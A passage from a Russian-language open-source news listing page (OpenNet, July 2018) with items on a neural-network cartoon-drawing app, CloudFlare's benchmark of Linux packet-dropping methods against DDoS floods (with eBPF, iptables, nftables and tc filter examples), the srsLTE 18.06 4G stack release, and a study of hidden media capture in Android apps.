Ключевым элементом устройства является приложение cartoonify, использующее нейронную сеть для распознавания объектов, обученную на наборе схематичных рисунков всевозможных предметов Google QuickDraw (примерно 5GB данных). Нейронная сеть построена с использованием платформы машинного обучения TensorFlow и использует готовую модель распознавания объектов mscoco_label_map (100Мб).

Приложение прогоняет через нейронную сеть полученное с камеры изображение и выдаёт на выходе интерпретацию в виде схематичных рисунков. Программа также может применяться для обработки фотографий с обособленным запуском в окружении Linux или macOS, в этом случае предлагается интерфейс пользователя на основе библиотеки Remi.

  1. OpenNews: Выпуск Dragonfire 1.0, виртуального голосового помощника для Linux
  2. OpenNews: Intel открыл систему машинного обучения для обработки информации на естественном языке
  3. OpenNews: Система машинного обучения для синтеза типового кода на языке Java
  4. OpenNews: Intel представил nGraph, компилятор для систем машинного обучения
  5. OpenNews: Facebook открыл код платформы Detectron для распознавания объектов на фотографиях
Обсуждение (43 +13) | Тип: К сведению |
08.07.2018 Эксперимент по настройке Linux для блокирования 10 млн пакетов в секунду (90 +33)
  Марек Майковски (Marek Majkowski), разработчик ядра Linux, работающий в компании CloudFlare, опубликовал результаты оценки производительности различных решений на базе ядра Linux для отбрасывания огромного числа пакетов, поступающих в ходе DDoS-атаки. Наиболее высокопроизводительный метод позволил отбрасывать потоки запросов, поступающие с интенсивностью 10 млн пакетов в секунду.

Наибольшей производительности удалось добиться при использовании подсистемы eBPF, представляющей встроенный в ядро Linux интерпретатор байткода, позволяющий создавать высокопроизводительные обработчики входящих/исходящих пакетов с принятием решений об их перенаправлении или отбрасывании. Благодаря применению JIT-компиляции, байткод eBPF на лету транслируется в машинные инструкции и выполняется с производительностью нативного кода. Для блокировки использовался вызов XDP_DROP, предоставляемый подсистемой XDP (eXpress Data Path), позволяющей запускать BPF-программы на уровне сетевого драйвера, с возможностью прямого доступа к DMA-буферу пакетов и на стадии до выделения буфера skbuff сетевым стеком.

Блокировка осуществлялась при помощи загруженного в ядро простого BPF-приложения (около 50 строк кода), написанного на подмножестве языка C и скомпилированного при помощи Clang. Для загрузки скомпилированного модуля eBPF применяется недавно появившаяся в iproute2 команда "xdp obj" ("ip link set dev ext0 xdp obj xdp-drop-ebpf.o"), позволяющая обойтись без написания специализированного BPF-загрузчика. Для просмотра статистики применялась команда "ethtool -S". Логика блокировки была зашита непосредственно в BPF-приложение, например, блокируемые IP-подсеть, порт назначения и тип протокола были определены через условные операторы (системы типа bpfilter и Cilium умеют генерировать BPF-программы на основе высокоуровневых правил фильтрации):


   if (h_proto == htons(ETH_P_IP)) {
       if (iph->protocol == IPPROTO_UDP
           && (htonl(iph->daddr) & 0xFFFFFF00) == 0xC6120000 //    198.18.0.0/24
           && udph->dest == htons(1234)) {
           return XDP_DROP;
       }
   }

Другие опробованные методы блокировки:

  • Отбрасывание пакетов путём создания приложения-заглушки, принимающего запросы на целевом сетевом порту, но не выполняющего каких-либо действий ("s.bind(("0.0.0.0", 1234))" и бесконечный цикл с "s.recvmmsg()" - использование recvmmsg вместо recvmsg важно с точки зрения снижения числа системных вызовов, в свете накладных расходов при включении в ядре защиты от уязвимости Meltdown). Производительность такого решения составила всего 174 тысячи пакетов в секунду, при этом узким местом было не переключение контекста и само приложение (нагрузка была 27% sys и 2% userspace), а полная утилизация второго ядра CPU при обработке SOFTIRQ.

    Большие накладные расходы также возникали из-за ведения ядром таблиц отслеживания соединений (conntrack), отключение которых при помощи правила "iptables -t raw -I PREROUTING -d 198.18.0.12 -p udp -m udp --dport 1234 -j NOTRACK" позволило поднять производительность почти в два раза, до 333 тысяч пакетов в секунду. Дополнительное применение режима SO_BUSY_POLL подняло скорость обработки до 470 тысяч пакетов в секунду.

  • Использование BPF с привязкой к сетевому сокету и запуском на уровне ядра (как с обычным BPF, так и с eBPF). Специально написанное BPF-приложение bpf-drop, подключающее обработчик для фильтрации пакетов к сокету через вызов "setsockopt(SO_ATTACH_FILTER)", продемонстрировало производительность всего 512 тысяч пакетов в секунду (в 20 раз меньше, чем BPF-обработчик на базе XDP). Причиной низкой производительности, как и в первом рассмотренном методе, стали большие накладные расходы при обработке SOFTIRQ.
  • Применение операции DROP в iptables в цепочке INPUT (после обработки маршрутизации). При использовании следующих правил
    
       iptables -t raw -I PREROUTING -d 198.18.0.12 -p udp -m udp --dport 1234 -j NOTRACK
       iptables -I INPUT -d 198.18.0.12 -p udp --dport 1234 -j DROP
    

    удалось добиться производительности 608 тысяч пакетов в секунду.

  • Использование iptables DROP на стадии до обработки маршрутизации (PREROUTING). Замена в правиле "-I INPUT" на "-I PREROUTING -t raw" подняло производительность почти в три раза до 1.688 млн пакетов в секунду.
  • Применение операции DROP в nftables на стадии до выполнения стадии отслеживания соединений (для обхода CONNTRACK применяется "hook ingress"):
    
       nft add table netdev filter
       nft -- add chain netdev filter input { type filter hook ingress device vlan100 priority -500 \; policy accept \; }
       nft add rule netdev filter input ip daddr 198.18.0.0/24 udp dport 1234 counter drop
       nft add rule netdev filter input ip6 daddr fd00::/64 udp dport 1234 counter drop
    

    Производительность предложенного решения составила 1.53 млн пакетов в секунду, что немного отстаёт от iptables DROP с PREROUTING.

  • Применение операции DROP в ingress-обработчике tc позволило добиться производительности в 1.8 млн пакетов в секунду.
    
       tc qdisc add dev vlan100 ingress
       tc filter add dev vlan100 parent ffff: prio 4 protocol ip u32 match ip protocol 17 0xff match ip dport 1234 0xffff match ip dst 198.18.0.0/24 flowid 1:1 action drop
       tc filter add dev vlan100 parent ffff: protocol ipv6 u32 match ip6 dport 1234 0xffff match ip6 dst fd00::/64 flowid 1:1 action drop
    

  1. OpenNews: Оценка способности сетевого стека Linux обрабатывать миллион пакетов в секунду
  2. OpenNews: Проект LibOS развивает вариант ядра Linux с сетевым стеком в форме библиотеки
  3. OpenNews: Intel представил сокращённый вариант сетевого стека для Linux
  4. OpenNews: Открыт код Syncookied, системы защиты от DDoS-атак
  5. OpenNews: CloudFlare применил NetMap для повышения скорости обработки пакетов в Linux
Обсуждение (90 +33) | Тип: Обобщение |
07.07.2018 Выпуск открытого 4G-стека srsLTE 18.06 (73 +23)
  Доступен выпуск srsLTE 18.06, открытого стека для развёртывания компонентов сотовых сетей LTE/4G без наличия спецоборудования, используя только универсальные программируемые приёмо-передатчики, форма сигнала и модуляция которых задаётся программно (SDR, Software Defined Radio). Код проекта поставляется под лицензией AGPLv3.

Компоненты стека:

  • srsUE - полная реализация LTE UE (User Equipment), определяющая компоненты на стороне пользователя, необходимые для подключения абонента к сети LTE. Среди возможностей отмечается реализация всех уровней от PHY до IP, функции поиска базовой станции, процедура синхронизации, аутентификация через программный USIM с использованием алгоритмов Milenage и XOR, поддержка карт USIM с подключением при помощи инструментария PCSC, создание виртуального сетевого интерйфейса tun_srsue. Реализация позволяет добиться производительности приёма данных до 150 Mbps при использовании частоты 20 MHz в конфигурации MIMO TM3/TM4 (несколько антенн) и 75 Mbps в конфигурации SISO (одна антенна) на системах с CPU i7 Quad-Core. Работа srsUE протестирована совместно с базовыми станциями на основе оборудования Amarisoft LTE100, Nokia FlexiRadio, Huawei DBS3900 и Octasic Flexicell;
  • srsENB - приложение для работы в роли базовой станции LTE (eNodeB, E-UTRAN Node B), осуществляющей взаимодействие с клиентским оборудованием. Среди особенностей srsENB: планировщик распределения MAC-адресов с похожим на FAPI C++ API, поддержка работы на базе программных приёмо-передачиков (SDR), измерение качества канала связи при помощи CQI (Channel Quality Indicator), использования стандартных интерфейсов S1AP и GTP-U для взаимодействия с опорной сетью. Работа srsENB проверена совместно с устройствами LG Nexus 4 и 5, Motorola Moto G4 plus и G5, Huawei P9/P9lite, P10/P10lite и P20/P20lite, а также с 4G-модемами Huawei E3276 и E398. В режиме 20 MHz MIMO TM3/TM4 обеспечивается пропускная способность 150 Mbps для загрузки данных и 50 Mbps для выгрузки, в конфигурации SISO скорость загрузки составляет 75 Mbps;

  • srsEPC - реализация компонентов опорной сети LTE (core network), включающая модули:
    • MME (Mobility Management Entity) c поддержкой стандартов S1AP и GTP-U для взаимодействия с базовыми станциями. Обеспечивает мобильность, отслеживает перемещение абонента и выполняет миграцию между базовыми станциями;
    • HSS (Home Subscriber Server), хранит базу абонентов и информацию о привязанных к абонентам услугам). БД абонентов задаётся в формате CSV;
    • SGW (Serving Gateway), обрабатывает и маршрутизирует пакеты для базовых станций;
    • PGW (Packet Data Network Gateway), обеспечивает подключение абонента к внешним сетям, выполняет фильтрацию пакетов и биллинг. SGW и PGW реализованы на уровне виртуального сетевого интерфейса, работающего через устройство TUN;
  • Набор библиотек для работы на различных уровнях стека (PHY, MAC, RLC, PDCP, RRC, NAS, S1AP и GW).

Основные возможности:

  • Система может работать с любыми программируемыми приёмо-передатчиками, поддерживаемыми драйверами Ettus UHD (Universal Hardware Driver) и bladeRF и способными работать на частоте 30.72 MHz. Работа srsLTE протестирована с платами USRP B210, USRP B205mini, USRP X300, limeSDR и bladeRF;
  • Высокоскоростной оптимизированный декодировщик, использующий инструкции Intel SSE4.1/AVX2 для достижения производительности более 100 Mbps на обычном оборудовании. Стандартная реализация декодировщика на языке Си, обеспечивающего производительность на уровне 25 Mbps;
  • Полная совместимость с 8 версией стандарта LTE и частичная поддержка некоторых возможностей из 9 версии;
  • Наличие конфигурации для работы в режиме частотного разделения каналов (FDD);
  • Протестированные частоты: 1.4, 3, 5, 10, 15 и 20 MHz;
  • Поддержка режимов передачи 1 (single antenna), 2 (transmit diversity), 3 (CCD) и 4 (closed-loop spatial multiplexing);
  • Эквалайзер с поддержкой частотного кодирования ZF и MMSE;
  • Поддержка создания сервисов для доставки мультимедийного контента в режима broadcast и multicast;
  • Возможность ведения детальных логов с привязкой к уровням и отладочными дампами;
  • Cистема захвата пакетов на уровне MAC, совместимая с сетевым анализатором wireshark;
  • Доступность метрик с данными трассировки в режиме командной строки;
  • Детализированные файлы конфигурации.
  • Реализация уровней LTE MAC, RLC, PDCP, RRC, NAS, S1AP и GW;

Новая версия примечательна добавлением поддержки интерфейса eMBMS (Multimedia Broadcast Multicast Service) в модулях srsUE/srsENB/srsEPC, который позволяет создавать в LTE-сетях сервисы для широковещательной (point-to-multipoint) передачи видео и звука, мобильного телевидения, доставки файлов и оповещения абонентов об экстренных ситуациях. В srsLTE 18.06 также выполнена оптимизация производительности всех компонентов стека и добавлена возможность использования обычных SIM-карт (помимо USIM и виртуальных USIM).

  1. OpenNews: Выявлены уязвимости, позволяющие манипулировать трафиком в сетях 4G LTE
  2. OpenNews: Продемонстрированы прием и расшифровка GSM с помощью RTL-SDR
  3. OpenNews: Создание собственной базовой станции GSM из подручных средств
  4. OpenNews: В Debian добавлены пакеты для развёртывания GSM-сети
  5. OpenNews: Продемонстрирована базовая станция GSM на базе свободного ПО и бюджетного телефона
Обсуждение (73 +23) | Тип: Программы |
06.07.2018 Анализ несанкционированной записи звука и видео в Android-приложениях (113 +20)
  Группа исследователей из проекта ReCon, предоставляющего инструменты для анализа мобильного трафика для выявления возможных утечек данных, представила результаты (PDF) изучения 17260 приложений для платформы Android, представленных в каталогах Google Play, App China, Mi.com и Anzhi. Целью проверки была общая оценка отношения к приватности, анализ запрашиваемых расширенных полномочий и фиксация манипуляций с конфиденциальной аудио- и видеоинформацией, полученной с микрофона, экрана и камеры пользователя.

В ходе исследования также было проанализировано наличие скрытых нарушений конфиденциальности, таких как передача информации через создание скриншотов, организацию прослушивания через включение микрофона и нецелевое включение камеры для скрытой видеозаписи. В итоге, исследователи не выявили явных шпионящих или вредоносных действий - всплыло несколько утечек данных, но они скорее были обусловлены неосмотрительным обращением к внешним сервисам, чем злым умыслом.

Но потенциальная возможность вредоносных действий не исключается из-за массового злоупотребления запросом полномочий в приложениях. В частности, 43.8% приложений запрашивали при установке доступ к микрофону, 75.6% - камере, 84.6% - созданию скриншотов, 9.8% - записи видео, 89.9% - дополнительным носителям. При этом подавляющее большинство приложений фактически не использовали запрошенные полномочия, т.е. получали привилегии без явной необходимости.

В качестве ещё одного риска нарушения приватности отмечаются неконтролируемые пользователем процессы отправки видео и изображений для обработки через сторонние сервисы (например, для редактирования фотографии). В большинстве подобных случаев отправка фотографий пользователя через интернет производилась без явного информирования об обращении к внешнему сервису.

Всего из 17260 изученных приложений 21 программа осуществляла запись и отправку мультимедийных данных по сети. 12 программ отправляли информацию без применения шифрования по HTTP. 9 программ отправляли данные неявно для пользователя. Среди причин отправки изображений по сети упоминается обращение к внешним сервисам для редактирования изображений, поиска похожих изображений, сканирования визитных карт и разбора текста на изображениях. В четырёх приложениях, в числе которых приложение GoPuff, насчитывающее более 100 тысяч установок, выявлена отправка содержимого экрана в сторонние службы аналитики для изучения поведения пользователя во время работы с программой с целью улучшения юзабилити.

При этом риск утечки данных может быть связан не только с самим приложением, но и со сторонними библиотеками, которые используются в приложении (например, половина рассмотренных приложений использует библиотеки Google и Facebook). В ходе исследования было выявлено несколько подобных библиотек, которые записывали и отправляли вовне скриншоты и видео содержимого экрана во время работы с программой без информирования пользователя и без запроса полномочий. С учётом уже запрошенных при установке полномочий, разработчики сторонних библиотек могут в любой момент включить в состав очередного обновления код, шпионящий за пользователем.

  1. OpenNews: Анализ уязвимостей в Android-приложениях с открытыми сетевыми портами
  2. OpenNews: Большинство VPN-приложений для Android не заслуживают доверия
  3. OpenNews: Исследование негативного влияния на безопасность локального перехвата HTTPS-трафика
  4. OpenNews: Небезопасное хранение данных в менеджерах паролей для платформы Android
  5. OpenNews: Анализ безопасности мобильных приложений для управления IoT-устройствами
Обсуждение (113 +20) | Тип: Проблемы безопасности |
<< Предыдущая страница (позже)
Следующая страница (раньше) >>


  Закладки на сайте
  Проследить за страницей
Created 1996-2018 by Maxim Chirkov  
ДобавитьПоддержатьВебмастеруГИД  
Hosting by Ihor